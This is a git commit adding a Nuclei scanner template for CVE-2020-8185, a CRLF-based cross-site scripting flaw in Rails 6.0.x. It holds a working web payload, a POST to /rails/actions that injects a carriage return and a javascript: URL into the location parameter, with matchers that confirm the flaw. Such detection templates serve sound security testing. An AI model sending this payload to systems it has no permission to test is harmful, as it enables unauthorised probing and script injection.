Add Rails 6 XSS

patch-1
rootxharsh 2020-12-23 03:55:41 +05:30
parent 45dd54deb2
commit 61beebde41
1 changed files with 20 additions and 0 deletions

20
cves/CVE-2020-8185.yaml Executable file
View File

@ -0,0 +1,20 @@
id: CVE-2020-8185
info:
name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2)
author: ooooooo_q (CVE author), Rahul and Harsh (Template author)
severity: Medium
description: XSS (6.0.0 < rails < 6.0.3.2); Payload is location=%0djavascript:alert(1); Nuclei has issues with 302 response missing a Location header thus the extended payload to make Nuclei work.
requests:
- method: POST
path:
- "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"
matchers-condition: and
matchers:
- type: word
words:
- "javascript:alert(1)"
part: body
- type: status
status:
- 302